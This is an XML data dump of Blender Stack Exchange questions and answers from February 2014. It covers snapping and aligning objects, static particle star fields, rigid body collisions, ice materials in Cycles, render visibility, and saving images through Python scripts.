  <row Id="6847" PostTypeId="2" ParentId="6840" CreationDate="2014-02-07T15:13:04.727" Score="2" Body="&lt;p&gt;If it's only about location and rotation around the Z axis, it should be as simple as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the object you wanna align&lt;/li&gt;&#xA;&lt;li&gt;Go to Editmode &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure you are in Vertex Select mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click a vertex twice, which you wanna use to align location&lt;br&gt;(makes it the active vertex)&lt;/li&gt;&#xA;&lt;li&gt;Enable Snapping &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make it snap to vertices &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Snap Target&lt;/em&gt; to &lt;strong&gt;Active&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Grab your object &lt;kbd&gt;G&lt;/kbd&gt; and snap it to the other model's corresponding vetex&lt;/li&gt;&#xA;&lt;li&gt;Snap Cursor to Active &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;em&gt;Pivot Point&lt;/em&gt; to &lt;strong&gt;3D Cursor&lt;/strong&gt; &lt;kbd&gt;.&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click a vertex twice, which you wanna use to lineup rotation&lt;br&gt;(make it active)&lt;/li&gt;&#xA;&lt;li&gt;Rotate the model &lt;kbd&gt;R&lt;/kbd&gt;, constrain to &lt;kbd&gt;Z&lt;/kbd&gt; axis and snap your vertex to the corresponding vertex of the other model&lt;br&gt;(this can be really tricky, try to make the models a bit transparent to see what you are snapping to)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Not sure if the vertex in step 12 needs to &lt;strong&gt;have the same Z location&lt;/strong&gt; as the first vertex... But even then, it should be possible to use any vertex with a bit more effort, to be able to constrain the right rotation axis in step 13 - using a custom transform orientation, which you would have to set up first...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the models did not align originally, you might be able to snap to edge instead in step 13...&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-07T15:13:04.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6848" PostTypeId="1" AcceptedAnswerId="6852" CreationDate="2014-02-07T16:47:10.520" Score="1" ViewCount="1998" Body="&lt;p&gt;I've tried the particle system to generate a star field and it works fine for single frame renders.  Now I'm working on a 10 second film logo splash and I cannot get the star field to remain static while the camera moves.  I've searched and read many posts including a prior posts here about baking but I cannot figure out how to grab a single frame instance of the falling particle objects and make it static for a full 10 vid.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten a static field but the mesh is in the way and I cannot see through the object, just the outside and the emitted objects on the outside of the mesh. When I move the mesh with key frames the star field moves also.   Any ideas.&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2014-02-07T20:03:06.450" Title="I would like to generate a particle star field that I could keep as static background" Tags="&lt;animation&gt;&lt;particles&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6849" PostTypeId="1" AcceptedAnswerId="6853" CreationDate="2014-02-07T16:49:12.320" Score="4" ViewCount="12241" Body="&lt;p&gt;I am experimenting with rigid body physics using the game engine for a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have 2 long rectangular prisms with hole.&lt;/li&gt;&#xA;&lt;li&gt;The 2 prisms are connected with a cylinder (acting as a dowel).&lt;/li&gt;&#xA;&lt;li&gt;I locked translation and rotation for one of the prism and everything else is free to move and/or rotate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dowel and the free prism are going through the locked prism. Can someone please tell me what am I doing wrong? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/o2y0pxk7ijk12bc/untitled.blend&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/o2y0pxk7ijk12bc/untitled.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2398" LastEditorUserId="1112" LastEditDate="2014-02-07T20:36:43.460" LastActivityDate="2018-12-30T16:53:48.840" Title="Rigid body objects passing through each other" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6850" PostTypeId="1" AcceptedAnswerId="6864" CreationDate="2014-02-07T17:03:09.673" Score="10" ViewCount="4508" Body="&lt;p&gt;I'm trying to make a material for arena ice in cycles. I'd like to end up somewhere like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CsPhB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and am having trouble getting it white enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/reKZE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is seems like I need to give if &lt;strong&gt;a lot&lt;/strong&gt; of light to get up around the amount of white where it should be; so much light that it washes out my stones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a 50% mix shader with white diffuse and white glossy inputs. Is there a way to make my ice whiter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8WD8i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-02-07T21:27:39.757" LastActivityDate="2014-02-08T08:28:56.200" Title="Whiter white in cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6851" PostTypeId="2" ParentId="6848" CreationDate="2014-02-07T17:40:53.350" Score="0" Body="&lt;p&gt;You could render the starfield and use this image as a background image for your animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the world tab and tick &lt;em&gt;Paper Sky&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYRpc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a World texture with the highlighted settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2EYR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cgcookie.com/blender/2011/01/11/tip-rendering-with-a-background-image/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial: Rendering with a Background Image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-07T17:40:53.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6852" PostTypeId="2" ParentId="6848" CreationDate="2014-02-07T18:38:14.910" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have gotten a static field but the mesh is in the way and I cannot see through the object, ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To hide the emitter uncheck the &lt;em&gt;Emitter&lt;/em&gt; option in the render panel:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HKPvS.png&quot; alt=&quot;render option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatley it is not possible to fully freeze the physic simulation. The minimum timestep is 0.001/frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using objects for your particles you can press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; or search &lt;em&gt;Make Duplicates Real&lt;/em&gt; from the search menu (&lt;kbd&gt;SPACE&lt;/kbd&gt; in the viewport) to create static duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using objects you could still &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an object with a single vertex at (0.0,0.0,0.0) and use it for the particles.&lt;/li&gt;&#xA;&lt;li&gt;Duplicate these vertices with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply a halo material to the single vertex object and remove the particle system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To simpify this, you may use this script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;#creates a mesh object&#xA;#from the selected particle system&#xA;#from the current frame&#xA;&#xA;obj=bpy.context.active_object&#xA;&#xA;ps=obj.particle_systems[0]&#xA;&#xA;count=0&#xA;for pl in ps.particles:&#xA;    if pl.alive_state=='ALIVE':&#xA;        count+=1&#xA;&#xA;mesh=bpy.data.meshes.new('point_cloud')&#xA;mesh.vertices.add(count)&#xA;&#xA;for i in range(count):&#xA;    mesh.vertices[i].co=ps.particles[i].location&#xA;&#xA;dupli=bpy.data.objects.new('point_cloud',mesh)&#xA;bpy.context.scene.objects.link(dupli)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also write the cache to disk by enabling the option &lt;em&gt;Disk Cache&lt;/em&gt; in the &lt;em&gt;Cache&lt;/em&gt; panel and baking the simulation afterwards. With the default options a folder named blendcache_&lt;em&gt;blendname&lt;/em&gt; will be created in the folder where the .blend-file is located. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this folder the data for each frame is stored. The template/scheme is &lt;em&gt;filename&lt;/em&gt;_frame_subframe. Just copy your frame you want to be frozen and replace the following frames. The amount of particles should be constant in this time period. No particle should be born or die.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards enable the &lt;em&gt;External&lt;/em&gt; option and choose blendcache_&lt;em&gt;blendname&lt;/em&gt; as folder and &lt;em&gt;filename&lt;/em&gt; as filename.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-07T20:03:06.450" LastActivityDate="2014-02-07T20:03:06.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6853" PostTypeId="2" ParentId="6849" CreationDate="2014-02-07T18:39:12.247" Score="6" Body="&lt;p&gt;There are several problems in this file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Objects scale hasn't been applied;&lt;/li&gt;&#xA;&lt;li&gt;Setting &lt;strong&gt;Triangle Mesh&lt;/strong&gt; here is required, since the prisms have holes, which means they are concave objects, so other collision types don't work well with them;&lt;/li&gt;&#xA;&lt;li&gt;Bound margin should be tweaked carefully, as well. Considering the distance between the surface, try smaller value;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The two prisms stay too close to each other, which will cause &quot;intersection&quot; if bound margin is non-zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26723&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo file_v3&lt;/a&gt;. Just FYI.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Added a &lt;a href=&quot;http://youtu.be/jlvmElEmHH4&quot; rel=&quot;nofollow noreferrer&quot;&gt;demo video&lt;/a&gt; for better understanding.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2018-12-30T16:53:48.840" LastActivityDate="2018-12-30T16:53:48.840" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6856" PostTypeId="2" ParentId="6850" CreationDate="2014-02-07T23:27:12.807" Score="1" Body="&lt;p&gt;You likely have your world properties set to gray. Change the setting shown below to white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iAHG.png&quot; alt=&quot;World Settings &amp;gt; Color&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;World&lt;/em&gt; &gt; &lt;em&gt;Surface&lt;/em&gt; &gt; &lt;em&gt;Color&lt;/em&gt; (with Cycles selected)&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-02-07T23:27:12.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6857" PostTypeId="1" AcceptedAnswerId="6859" CreationDate="2014-02-07T23:45:40.657" Score="14" ViewCount="40482" Body="&lt;p&gt;Have Blender on about 4 machines rendering animations.&lt;br&gt;&#xA;Just spotted on one of the machines its rendering something different from the actual scene that I have setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0SHi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top window shows a different set of &lt;strike&gt;layers&lt;/strike&gt; objects to whats actually being rendered in the rendering window below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my scene contents, &lt;strike&gt;layers&lt;/strike&gt; objects 1-5 are not visible, but these are the ones that look like they are being rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can assume is that perhaps it might be because I did not save the document before clicking render, but I would not have expected that behaviour (you dont need to save your word document before printing it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="12" LastEditDate="2018-10-13T17:40:58.933" LastActivityDate="2021-02-20T22:45:34.730" Title="Why are there non-visible objects in my final render?" Tags="&lt;rendering&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="6859" PostTypeId="2" ParentId="6857" CreationDate="2014-02-08T00:25:07.353" Score="24" Body="&lt;p&gt;If you look at the outliner, some eye-icons are faded out to indicate that certain objects are hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's hidden and there's hidden: &lt;strong&gt;hidden in the viewport&lt;/strong&gt; (eye-icon), and &lt;strong&gt;hidden for rendering&lt;/strong&gt; (camera-icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may paste the following code line to the &lt;em&gt;Python Console&lt;/em&gt; (at the bottom of the &lt;em&gt;Scripting&lt;/em&gt; view) and hit return, to make the render visibility match the viewport visibility automatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in bpy.context.scene.objects: ob.hide_render = ob.hide&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-08T00:25:07.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6860" PostTypeId="1" CreationDate="2014-02-08T01:51:50.173" Score="1" ViewCount="65" Body="&lt;p&gt;I'm my current game project my main character needs to transform into another character, i can easily change the mesh data from the gameObject, but i can't find any documentation about changing the Armature data for my Armature object.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-02-08T15:32:54.960" Title="Changinng in-game Armature Object's Armature Data" Tags="&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6861" PostTypeId="1" CreationDate="2014-02-08T02:55:43.583" Score="4" ViewCount="230" Body="&lt;p&gt;I got a .blend file which containing only rigged characters, now I am copying the whole character to another .blend file to combine it and animate it. The problem is when I am working on multiple characters on the 'another' blend file I can't select the whole rigged character but just left clicking it. Can anyone tell me how to select rigged characters with their body at once? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2403" LastActivityDate="2014-10-11T18:57:09.107" Title="Selection of Rigged Characters" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6862" PostTypeId="1" AcceptedAnswerId="6863" CreationDate="2014-02-08T06:31:14.837" Score="4" ViewCount="648" Body="&lt;p&gt;I have a i7-2600 which is currently rendering a scene to .avi and is about 8 hours in and half way.  The CPU is at near 90% usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a GTX 460 GPU (which I believe supports CUDA)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a good idea to launch another instance of Blender and configure to render another scene with the GPU instead?  Will this have a negative impact on the other instance of Blender rendering?&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2014-02-08T09:43:52.980" Title="Should I open two blenders to render with my GPU/CPU?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6863" PostTypeId="2" ParentId="6862" CreationDate="2014-02-08T07:40:16.667" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3232/599&quot;&gt;This should work&lt;/a&gt;, but I don't know if you want to risk it because you are rendering directly to a video file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the animation render stops the avi file could be corrupted. Not to mention if your computer crashes it will be lost entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;a href=&quot;https://blender.stackexchange.com/a/4881/599&quot;&gt;why it is considered bad practice to render directly to a video file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were rendering to an image sequence, then it wouldn't be a big deal even if your computer crashed completely because everything up to the previous frame would be on the hard drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To answer your question:&lt;/strong&gt;&lt;br&gt;&#xA;Performance wise, I tested this with a GTX 460 and a quad core intel xeon rendering two separate scenes in separate instances of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a slight slowdown on the CPU scene when I started the GPU render, but it was barely noticeable. What made me certain that there was indeed a slowdown is that the time estimation for the CPU render jumped backwards about a second or two when the GPU render was started.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-02-08T09:43:52.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6864" PostTypeId="2" ParentId="6850" CreationDate="2014-02-08T08:28:56.200" Score="13" Body="&lt;p&gt;More light is what you need. Try to ensure that your lamps are not all placed near the stones, so as to give a more even illumination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q1ZpL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q1ZpL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the environment is directly affecting the brightness/color of reflective objects, so set the world color to at least a brighter gray, though white is probably to much. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine (or &lt;a href=&quot;http://www.google.com/imghp?q=ice%20rink&quot; rel=&quot;nofollow noreferrer&quot;&gt;look at reference images&lt;/a&gt;) the kind of ambient light there is reflected from the roof/walls and floor of a large, brightly lit ice rink/arena. Sort of a soft grayish white. Here's what I used for the image above (I didn't use any method to come up with this value, I just eyeballed it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ySeAc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that enabling AO will really brighten things up, but I'm not sure that's what you want. (you can also use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Passes&quot; rel=&quot;nofollow noreferrer&quot;&gt;AO pass&lt;/a&gt; to get finer control using the compositor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple more things you can do to make your ice material look nicer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Layer Weight&lt;/em&gt; node to make reflections more intense at sharp angles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bump map the glossy shades separately from the diffuse shader, which is acting more like the floor under the ice. If you really wanted to be realistic you could use multiple objects and a glass shader, but it is quite unnecessary as separate bump mapping looks fine.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use two glossy shaders, one for sharp reflections and one for softer reflections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the node setup used for the ice material in the above image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wRlRR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wRlRR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is possible that the bump mapping in your material has gone wrong in some way, causing the gray ice. But it's impossible to say without at least seeing the nodes.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-08T08:28:56.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6865" PostTypeId="1" AcceptedAnswerId="6867" CreationDate="2014-02-08T13:40:06.613" Score="9" ViewCount="11900" Body="&lt;p&gt;My export script should &lt;strong&gt;export&lt;/strong&gt; all &lt;strong&gt;images&lt;/strong&gt; that the user might have used as textures. I don't have problems collecting the images. I also don't have a problem emulating being in an image-editor. The only thing I couldn't figure out how to do is &lt;strong&gt;how&lt;/strong&gt; I can &lt;strong&gt;export&lt;/strong&gt; the picture &lt;strong&gt;in any format&lt;/strong&gt;. Here is a codesnippet how far I have got so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;images&lt;/code&gt; is a list of images to export and they are all part of &lt;code&gt;bpy.data.images&lt;/code&gt;. &lt;code&gt;imageEditorArea&lt;/code&gt; is an existing image area because else the script doesn't want to run for some reason. &lt;code&gt;exportDir&lt;/code&gt; is the directoy where all the images should go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I remember you that the user should &lt;strong&gt;not&lt;/strong&gt; be able to &lt;strong&gt;change the loaction&lt;/strong&gt; because he chose the location where the files should go already when he executed my operator&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prevImage = imageEditorArea.spaces[0].image # want to keep the users selected image around&#xA;for image in images:&#xA;    imageEditorArea.spaces[0].image = image&#xA;    bpy.ops.image.save_as({'area': imageEditorArea}, # emulate an imageEditor&#xA;        'INVOKE_DEFAULT', # invoke the operator&#xA;        copy=True, # make a copy of the image&#xA;        filepath=exportDir + image.name) # export it to this location&#xA;imageEditorArea.spaces[0].image = prevImage # reset the image back to the original&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is that normally, when you don't hand over a path to export the images to, one can &lt;strong&gt;choose an outputformat&lt;/strong&gt; (something like 'BMP', 'JPEG', etc...). I can't figure out how one could achieve this without opening the fileselector.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-02-10T16:37:43.597" Title="Save image as for example .png by a script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6866" PostTypeId="2" ParentId="6860" CreationDate="2014-02-08T15:32:54.960" Score="1" Body="&lt;p&gt;If you are talking about &lt;strong&gt;Armature datablock&lt;/strong&gt;, it is similar as changing the mesh data for mesh object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/acDSq.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are talking about changing &lt;strong&gt;Action Data&lt;/strong&gt; for armature, there are two places to go, depends on your actual need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/goSB0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For BGE action, you may take the 2nd one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; Action Data exchanging between armatures requires high similarity, in other words, same hierachy, same bone count, same bone names, etc. Otherwise it will not work as expected. &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-08T15:32:54.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6867" PostTypeId="2" ParentId="6865" CreationDate="2014-02-08T15:36:29.557" Score="6" Body="&lt;p&gt;You can try to use a low-level method. The Image class is documented &#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Image.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file format is stored in the attribute&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Image.html?highlight=image#bpy.types.Image.file_format&quot; rel=&quot;nofollow&quot;&gt;Image.file_format&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Image class offers two methods to save images:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Image.html#bpy.types.Image.save&quot; rel=&quot;nofollow&quot;&gt;save()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Image.html#bpy.types.Image.save_render&quot; rel=&quot;nofollow&quot;&gt;save_render(filepath,scene=None)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you can probably save your image like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene=bpy.context.scene&#xA;scene.render.image_settings.file_format='BMP'&#xA;image.save_render(filepath,scene)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image.file_format='BMP'&#xA;bpy.ops.image.save_as({'area': imageEditorArea}, # emulate an imageEditor&#xA;    'INVOKE_DEFAULT', # invoke the operator&#xA;    copy=True, # make a copy of the image&#xA;    filepath=exportDir + image.name) # export it to this location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-10T16:37:43.597" LastActivityDate="2014-02-10T16:37:43.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6868" PostTypeId="1" AcceptedAnswerId="6871" CreationDate="2014-02-08T17:33:24.093" Score="1" ViewCount="2482" Body="&lt;p&gt;I understand how to create animations, but can't seem to find a good tutorial on &lt;strong&gt;how to create, name, and export multiple animations&lt;/strong&gt; into Wavefront OBJ. Do you know of any or can you please explain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This going to be exported and loaded using jMonkeyEngine3 and Wavefront OBJ as file type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the DopeSheet in Action Editor mode, but it doesn't seem to export even though I had two actions and used the &lt;code&gt;Action.use_fake_user&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create an Idle, Walk, and Wave_Arm animations just for testing and learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way in Blender to &lt;strong&gt;check if animations were exported?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2405" LastEditorUserId="1363" LastEditDate="2014-02-08T20:07:34.310" LastActivityDate="2014-02-08T21:35:28.463" Title="How to create and export multiple animation/actions in blender?" Tags="&lt;animation&gt;&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
